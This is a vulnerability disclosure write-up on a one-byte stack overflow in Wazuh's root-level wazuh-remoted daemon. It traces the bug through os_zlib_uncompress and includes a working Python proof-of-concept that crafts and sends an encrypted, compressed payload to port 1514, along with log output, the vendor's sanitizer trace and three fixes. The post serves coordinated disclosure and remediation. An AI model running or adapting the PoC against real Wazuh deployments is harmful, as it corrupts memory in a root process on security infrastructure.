Security6 min readUnknown date

How I Found a Stack Buffer Overflow in Wazuh's Core Daemon

By Jonah DaCosta

A one-byte out-of-bounds write in wazuh-remoted — the root-level daemon that handles all agent communication — triggered by sending a crafted compressed message from any enrolled agent. Confirmed with AddressSanitizer by the Wazuh team. CVE pending.

Wazuh stack buffer overflow research header

The short version

There is a one-byte out-of-bounds null write in wazuh-remoted — the root-level daemon that handles all encrypted agent communication in Wazuh. It triggers when any enrolled agent sends a message that decompresses to exactly 65,536 bytes.

The overflow is in os_zlib_uncompress(), called from ReadSecMSG(), called from HandleSecureMessage(). It has been confirmed by the Wazuh team with AddressSanitizer, which produced a clean stack-buffer-overflow trace pointing directly to os_zlib.c:39. A CVE has been requested.


What Wazuh is and why this matters

Wazuh is one of the most widely deployed open-source SIEMs in the world. Organizations run it on-premises specifically because they want to own their security stack — meaning the manager process tends to run with elevated privileges on infrastructure that matters.

wazuh-remoted is the daemon that sits on port 1514 and handles every encrypted message from every enrolled agent on the network. It runs as root. A memory corruption vulnerability here is not abstract — it sits in the middle of the most trusted communication path in the deployment.


Finding it

I was doing a code-level audit of the agent-to-manager communication path, specifically looking at what happens to data after it arrives on port 1514 and passes authentication.

The path is: message arrives → strip agent ID prefix → ReadSecMSG() decrypts → os_zlib_uncompress() decompresses → null-terminate the result → forward to analysisd.

That last step — null-terminate the result — is where the bug is.


The bug

HandleSecureMessage() allocates a 65,537-byte buffer on the stack:

char buffer[OS_MAXSTR + 1] = "";  // 65,537 bytes: indices 0..65536

When parsing the incoming message prefix (!001!#AES:...), the code advances a pointer through that buffer — past the opening !, the agent ID digits, and a second !. For a 3-digit agent ID like 001, this leaves the pointer 5 bytes in.

That pointer gets passed to ReadSecMSG(), which skips another 5 bytes internally to step over #AES:. So by the time decompression runs, the destination pointer is buffer + 10 — 10 bytes into a buffer the caller still thinks starts at index 0.

Then os_zlib_uncompress() writes the decompressed data and adds a null terminator:

if (uncompress((Bytef *)dst, &dst_size, ...) == Z_OK) {
    dst[dst_size] = '\0';
    return dst_size;
}

With dst = buffer + 10 and dst_size = OS_MAXSTR = 65536:

dst[65536] = '\0'
= buffer[10 + 65536]
= buffer[65546]

buffer only goes up to index 65,536. Index 65,546 is 10 bytes past the end of the stack array. The null write lands in memory the program does not own.

Any decompressed payload of 65,527 bytes or larger triggers it. At exactly 65,536 bytes the write lands as far out as it can go.


Building the PoC

To trigger the overflow you need a valid enrolled agent — the message has to pass AES decryption using the agent's derived key before it reaches the vulnerable path. That means you need the agent's key material, which I had from a separate finding in the same research session.

The PoC builds a plaintext payload of exactly 65,536 bytes, compresses it, encrypts it with the agent's AES key, frames it with the correct !001!#AES: prefix, and sends it to port 1514.

import hashlib, struct, zlib, socket
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend

agent_id, agent_name = "001", "testagent"
raw_key = "fe1ca5f13a46589446ad8b2ada9c40f5e6ecac2a96d20361dbdeb8a300da7e87"

# Key derivation mirrors keys.c
fs1 = hashlib.md5(agent_name.encode()).hexdigest()
fs2 = hashlib.md5(agent_id.encode()).hexdigest()
fs1 = hashlib.md5((fs1 + fs2).encode()).hexdigest()[:15]
fs2 = hashlib.md5(raw_key.encode()).hexdigest()
aes_key = (fs2 + fs1).encode()[:32]
iv = b"FEDCBA0987654321"

# Build payload that decompresses to exactly OS_MAXSTR (65536) bytes
OS_MAXSTR = 65536
hdr = b"%05d" % 12345 + b"%010d" % 1 + b":" + b"%04d" % 1 + b":"
inner = hdr + b"A" * (OS_MAXSTR - 32 - len(hdr))
plaintext = hashlib.md5(inner).hexdigest().encode() + inner  # exactly 65536 bytes

compressed = zlib.compress(plaintext, level=1)
bfsize = 8 - ((len(compressed) + 1) % 8)
if bfsize == 8: bfsize = 0
to_enc = b"!" * (1 + bfsize) + compressed
pad = 16 - (len(to_enc) % 16)
to_enc += bytes([pad] * pad)

cipher = Cipher(algorithms.AES(aes_key), modes.CBC(iv), backend=default_backend())
ciphertext = cipher.encryptor().update(to_enc) + cipher.encryptor().finalize()

msg = b"!001!#AES:" + ciphertext
tcp_frame = struct.pack("<I", len(msg)) + msg

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(3)
s.connect(('localhost', 1514))
s.sendall(tcp_frame)
s.close()

Confirming it worked

The manager logged this:

wazuh-remoted: ERROR: (1106): String not correctly formatted.

The (1106) error is actually the success indicator. Here is what it means:

Stage What failure looks like Result
Agent ID / IP check (1400) error Passed
AES decryption (1404) ENCKEY error Passed
zlib decompression Passed — OOB write occurred here
MD5 checksum (1406) ENCSUM error Passed
Message queue format (1106) Failed — expected, payload was not a real event

The message passed every cryptographic validation stage. The (1106) fires after decompression, which means the null write at buffer[65546] had already happened before execution reached the format check. The manager kept running because in this Docker build the byte landed in stack padding.

Whether it crashes or not depends on what is sitting at that offset in a given binary — which is build-dependent and compiler-dependent.


Wazuh's confirmation

I submitted the advisory with the PoC script. Wazuh ran it against a build compiled with AddressSanitizer:

==144660==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7a8775e4ab3a
WRITE of size 1 at 0x7a8775e4ab3a thread T20
    #0 in os_zlib_uncompress os_zlib/os_zlib.c:39
    #1 in ReadSecMSG os_crypto/shared/msgs.c:375
    #2 in HandleSecureMessage remoted/secure.c:754
[66960, 132497) 'buffer' (line 557) <== Memory access at offset 132506 overflows this variable

Exact file. Exact line. Exact call chain I documented. Their response: "The overflow is 100% reproducible. We are working on a fix. We will request a CVE through this advisory."


The fix

Three independent options, any one of which closes it:

Option 1 — Pass dst_size - 1 as the decompression limit in os_zlib_uncompress() so the null terminator always lands inside the buffer:

unsigned long int limit = dst_size - 1;
if (uncompress((Bytef *)dst, &limit, ...) == Z_OK) {
    dst[limit] = '\0';  // always within bounds
    return limit;
}

Option 2 — Reject payloads that would overflow before decompressing:

if (*final_size >= OS_MAXSTR) {
    return KS_CORRUPT;
}

Option 3 — Write the decompressed output into cleartext_msg (the dedicated output buffer) instead of back into the ciphertext buffer at an offset. This removes the pointer arithmetic problem entirely.


Disclosure

Reported to security@wazuh.com on 2026-04-28. Confirmed the same day. CVE pending through the GitHub Security Advisory.

I will update this post with the CVE number when it is assigned.


References


Reported by Jonah DaCosta \ DaCosta Consulting — 2026-04-28